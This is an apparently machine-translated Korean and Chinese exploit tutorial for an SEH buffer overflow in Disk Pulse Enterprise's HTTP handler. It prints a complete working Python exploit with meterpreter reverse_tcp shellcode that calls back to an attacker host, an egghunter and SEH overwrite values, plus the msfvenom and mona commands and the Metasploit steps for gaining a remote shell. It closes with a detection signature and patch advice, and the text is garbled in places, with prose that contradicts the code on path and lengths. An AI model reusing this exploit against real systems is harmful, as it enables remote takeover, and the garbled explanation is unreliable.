Disk Pulse Enenterprise는 디스크 변경 사항을 모니터링하는 소프트웨어입니다. 관리 포트 9120 또는 웹 관리 창 80을 통해 소프트웨어를 연결하고 관리하여 디스크 변경 사항을 모니터링할 수 있습니다. Disk Pulse Enterprise에는 HTTP 작업을 담당하는 일부 기능이 포함된 동적 링크 라이브러리 libspp.dll이 있는데, 이 동적 링크 라이브러리에서 포스트 데이터에 대한 엄격한 길이 제어가 없기 때문에 문제가 발생합니다. 이는 획득한 데이터를 실행할 때 유효하지 않은 메모리에 데이터를 복사해 SEH 이상 행위 처리를 촉발하고, 최종적으로 EIP를 제어해 임의의 코드를 실행함으로써 버퍼 오버플로가 발생하게 된다.
소프트웨어 다운로드 링크: https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps/a679e77e57bf178b22b ff5e 86409a451-diskpulsent_setup_v9. 0.34 .exe)
취약점 공개 주소: https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits/40452)
windows 7 x86: 시스템 환경
IDA pro: 정적 분석 도구
Immune 디버거: 취약점 분석 전용 디버거
WinDbg: 취약점 디버거
간단히 살펴보겠습니다. POC 우선은 상대적으로 포괄적인 버퍼 오버플로 취약점입니다. 이 기사에서는 SEH 구조적 예외 처리기 및 egghunter 기술에 대해 설명합니다.
프로그래밍에 익숙한 사람이라면 하드웨어 및 소프트웨어 예외를 처리하기 위한 창 메커니즘인 구조적 예외 처리(SEH)에 익숙할 것입니다. 일반적으로 try/divide 합계의 try/catch 블록으로 표현됩니다.
간단히 말하면 마커를 디자인하고 다른 마커의 위치로 점프하여 쉘코드를 실행하는 어드레싱 기법입니다. 에그헌터 기법은 쉘코드를 버퍼에 저장할 수 없을 때 필요하다.
먼저 POC를 분석해 보겠습니다
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest buf = "" buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29" buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45" buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a" buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3" buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19" buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8" buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20" buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1" buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80" buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66" buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65" buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e" buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f" buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5" buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94" buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10" buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46" buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18" buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97" buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96" buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d" buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2" buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f" buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b" buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae" buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b" buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9" buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c" buf += "\x3b\x9a\x01\x65" #pop pop ret 1001A333 nseh = "\xEB\x0B\x90\x90" seh = "\x33\xA3\x01\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /admin HTTP/1.1\r\n" evil += "Host: 192.168.46.160\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 21000\r\n\r\n" evil += "\x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "\x90" * 20 evil += buf evil += "\x90" * 50 evil += "\x42" * 1554 evil += nseh evil += seh evil += "\x90" * 20 evil += egghunter evil += "\x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
공격자가 http 요청 패키지를 빌드한 것을 볼 수 있습니다. 게시물 요청의 URL은 /login, content-length: 17000입니다. 12292 "x41" 바이트가 전송된 다음 "w00tw00t" 8 바이트가 전송된 후 20 "X90" NOP 바이트가 전송된 후 buf가 전송되고 50 NOP, 1614 "X42"가 전송되었습니다. 다음은 예외 처리 메커니즘입니다. SEH(잘 모르는 학생은 더 자세히 알아볼 수 있음), 그리고 egghunter 실행 코드입니다. 이는 대략 실행을 위해 두 개의 "w00t"가 포함된 위치로 점프하는 것을 의미합니다. 이제 남은 것은 버퍼를 채우는 것뿐입니다.
다음으로 Wen DBG를 사용하여 취약한 버전으로 애플리케이션을 엽니다.
페이로드를 전송하고 취약점을 트리거합니다. g를 입력하면 반환 주소가 덮어쓰이고 kb는 호출 스택을 확인합니다.
여기서 libspp.dll의 SCA_HttpParser의 GetNextString 함수가 호출됩니다. 다음으로 프로그램은 SHE 이상 동작 처리에 들어가 SEH Handler를 덮어써서 코드 실행에 도달합니다.
IDA를 열고 포인트 10092822를 분석합니다. libspp의 SCA_HttpParse 클래스는 일부 HTTP 관련 작업을 처리하는 역할을 하며, 사후 데이터 처리를 담당하는 ExtractPostData라는 함수가 있습니다. 이 함수의 진입 주소는 10092510
아래 그림과 같이 전체 전송 버퍼가 대체 POC를 사용하여 취약점을 유발합니다.
매개 변수 전송 상황을 확인하고 이후 데이터가 전달됩니다. 두 번째 매개변수로 완전히 전달됩니다.
여기서 단일 단계 추적을 계속하여 앞서 언급한 GetNetString 함수에 도달하세요.
이 함수는 첫 번째 매개변수인 이후 데이터를 분할하고 후속 처리를 위해 각 부분을 분리하는 작업을 단계별로 처음으로 GetNextString을 입력할 때 볼 수 있습니다. 첫 번째 데이터가 분할되었습니다.
사용자 이름이 처음으로 분리됩니다. 그런 다음 GetNextString을 다시 입력하면 두 번째 문자열 분할이 시작됩니다. 이 분할 프로세스는 일련의 복사 작업을 수행합니다.
这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。
因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。
看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。
之后看一下ECX的值
CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。
再来看一下GetNextString函数的伪代码。
首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。
我们需要找到SHE的偏移量。
利用蒙娜丽莎命令生成20000个字符
!mona pattern_create 20000
运行完在C:\日志\ FTPServer的\ pattern.txt中找到。
重启程序,将其加入到脚本中的BUF中运行
使用蒙娜丽莎命令来寻找SEH偏移量
!mona findmsp
查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下来,要寻找pop pop ret的地址
使用!mona seh
打开seh.txt日志查找指向POP POP RET序列的代码块地址。
设置的shellcode里面的
nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest
在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。
重启程序,打开的Metasploit
选择开发模式
输入命令,设置参数
发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。
请求方式:POST
请求路径:/登录
漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |
升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。
下载地址:https://www.diskpulse.com/downloads.html
위 내용은 Disk Pulse Enterprise Window 애플리케이션의 취약점 분석을 구현하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!